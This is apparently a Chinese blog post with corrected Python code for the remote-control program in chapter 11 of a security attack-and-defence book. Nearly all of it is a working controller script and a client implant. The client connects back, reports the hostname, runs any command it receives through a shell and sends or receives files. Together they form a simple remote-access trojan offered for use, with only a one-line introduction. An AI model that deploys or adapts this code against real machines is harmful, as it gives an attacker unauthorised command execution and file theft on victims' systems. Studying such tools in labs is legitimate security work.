python安全攻防11章远程控制代码修改

在书中源代码有点问题,经过调试修改如下:

server:

#!C:\Python3.7
# -*- coding:utf-8 -*-

import os
import socket
import struct

def ExecCommand(conn,addr):
    while True:
        command = input("[ExecCommand]>>>")
        if command == 'exit':
            conn.sendall("exit".encode())
            break
        conn.sendall(command.encode())
        # result = conn.recv(10000).decode() #linux
        # result = conn.recv(10000).decode(encoding = "unicode_escape") #windows 中文
        result = conn.recv(10000).decode(encoding="GBK")  # 中文

        print(result)
    return


def TransferFiles(conn,addr):
    print("Usage:method filepath")
    print("Example:upload /root/test.txt|download /root/test.txt")
    while True:
        command = input("[TransferFiles]>>>")
        commandList = command.split()
        if commandList[0] == 'exit':
            conn.sendall("exit".encode())
            break
        elif commandList[0] == 'download':
            DownloadFile(conn,addr,command)
        elif commandList[0] == 'upload':
            UploadFile(conn,addr,command)
        else:
            continue




def UploadFile(conn,addr,command):
    try:
        commandList = command.split()
        uploadFilepath = commandList[1]
        if os.path.isfile(uploadFilepath):
            conn.sendall(command.encode())
            fileInfo = struct.pack('128sl',bytes(os.path.basename(uploadFilepath).encode()),os.stat(uploadFilepath).st_size)
            conn.sendall(fileInfo)
            print("[*]file info send success!!name:{0},size:{1}".format(os.path.basename(uploadFilepath), os.stat(uploadFilepath).st_size))
            print("[*]start uploading...")
            with open(uploadFilepath,"rb") as f:
                while True:
                    data = f.read(1024)
                    if not  data:
                        break
                    conn.sendall(data)
            print("[*]upload over...")
        else:
            print("[-]file not found")
    except Exception as messge:
        print(message)





def DownloadFile(conn,addr,command):
    conn.sendall(command.encode())
    print("command:",command)

    isfile = conn.recv(1).decode()

    if isfile=='N':
        print("[-]file not found")
        return

    elif isfile=='Y':
        fileInfo = conn.recv(struct.calcsize('128sl'))

        if fileInfo:
            fileName, fileSize = struct.unpack('128sl', fileInfo)
            fileName = fileName.decode().strip('\00')

            newFilename = os.path.join('./file',fileName)

            print("[*]fileinfo receive over!! name:{0},size:{1}".format(fileName,fileSize))
            print("[*]start receiving....")
            receiveSize = 0
            print("receivesize:", receiveSize)

            try:
                print("newfilename:",newFilename)
                with open(newFilename,'wb') as f:

                    while not receiveSize == fileSize:
                        if fileSize - receiveSize > 1024:
                            data = conn.recv(1024)
                            f.write(data)
                            receiveSize += len(data)
                            print("receivesize:",receiveSize)
                        else:
                            data = conn.recv(fileSize - receiveSize)
                            f.write(data)
                            receiveSize = fileSize
                            print("receivesize:", receiveSize)
                print("[*]file received over!!")
            except Exception as e:
                print("[-]ERROE:",e)




if __name__ == '__main__':
    serverIP='127.0.0.1'
    serverPort = 6666
    serverAddr =(serverIP,serverPort)

    try:
        serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        serverSocket.bind(serverAddr)
        serverSocket.listen(1)
    except socket.error as message:
        print(message)
        os._exit(0)

    print('[*]server is UP!!')

    conn , addr  = serverSocket.accept()
    hostname = conn.recv(1024)
    print("[+]Host is up!\n"+"="*10+"\nname:{0} ip:{1} port:{2}\n".format(bytes.decode(hostname), addr[0],addr[1])+"="*10+"\n" )

    try:
        while True:
            print("[*]Function selection:\n")
            print("[1]ExecCommand\n[2]Transferfiles\n")
            choice = input("[None]>>>")

            if choice == '1':
                conn.sendall("1".encode())
                ExecCommand(conn,addr)
            elif choice == '2':
                conn.sendall("2".encode())
                TransferFiles(conn,addr)
            elif choice == 'exit':
                conn.sendall('exit'.encode())
                serverSocket.close()
                break

    except:
        serverSocket.close()

client

#!C:\Python3.7
# -*- coding:utf-8 -*-

import socket
import os
import struct
import subprocess


def Execommand(clientSocket):
    # print("in command")
    while True:
        try:
            command = clientSocket.recv(1024).decode()
            print("[*]command:",command)
            commandList = command.split()
            if commandList[0] == 'exit':
                break
            elif commandList[0] == 'cd':
                os.chdir(commandList[1])
                clientSocket.sendall(os.getcwd().encode())
            else:
                result = subprocess.check_output(command,shell=True)
                print(result)
                clientSocket.sendall(result)

        except Exception as message:
            print(message)
            clientSocket.sendall("[-]Failed to execute, please check your command!!!".encode())
        continue




def TransferFiles(clientSocket):
    while True:
        command = clientSocket.recv(1024).decode()
        commandList = command.split()
        print("command:",commandList)


        if commandList[0] == 'exit':
            break
        elif commandList[0] == "download":
            UploadFile(clientSocket,commandList[1])
        elif commandList[0] == "upload":
            DownloadFile(clientSocket)
        else:
            continue

def UploadFile(clientSocket, filepath):

    uploadFilepath = filepath
    print('filepath:',uploadFilepath)

    if os.path.isfile(uploadFilepath):
        clientSocket.sendall(b'Y')
        fileInfo = struct.pack('128sl',bytes(os.path.basename(uploadFilepath).encode()), os.stat(uploadFilepath).st_size)
        clientSocket.sendall(fileInfo)
        print(f"[+]fileinfo send success!name:{os.path.basename(uploadFilepath)},size:{os.stat(uploadFilepath).st_size}\n")

        print("[+]start uploading......")

        with open(uploadFilepath,'rb') as f:
            while True:
                data = f.read(1024)
                if not data:
                    print("[+]file upload over\n")
                    break
                clientSocket.sendall(data)

    else:
        print("[-]file not found")
        clientSocket.sendall(b"N")





def DownloadFile(clientSocket):

    fileinfo = clientSocket.recv(struct.calcsize('128sl'))
    # print(fileinfo)
    if fileinfo:
        fileName,fileSize = struct.unpack('128sl',fileinfo)
        fileName = fileName.decode().strip('\00')
        newFilename = os.path.join('./file',fileName)
        print("[+]fileinfo receive over!name:{0},size:{1}".format(fileName,fileSize))
        receiveSize = 0
        print("[+]start receiving.....")

        with open(newFilename,'wb') as f:
            while not receiveSize == fileSize:
                if fileSize - receiveSize >= 1024:
                    data = clientSocket.recv(1024)
                    f.write(data)
                    receiveSize+=len(data)
                else:
                    data = clientSocket.recv(fileSize - receiveSize)
                    f.write(data)
                    receiveSize = fileSize
                    break
        print("[+]file receive over!!!")
    else:
        print("[-] file not found")






if __name__ == '__main__':
    clientSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    clientSocket.connect(("127.0.0.1",6666))

    # IP = socket.gethostbyname(socket.gethostname())

    hostname = subprocess.check_output("hostname")
    clientSocket.sendall(hostname)

    print("[*]waiting instructiong.....")

    while True:
        instruction = clientSocket.recv(10).decode()
        print("[*]",instruction)

        if instruction == '1':
            Execommand(clientSocket)
        elif instruction == '2':
            TransferFiles(clientSocket)
        elif instruction == 'exit':
            break
        else:
            pass
    clientSocket.close()

你可能感兴趣的:(python,语言,python,开发语言)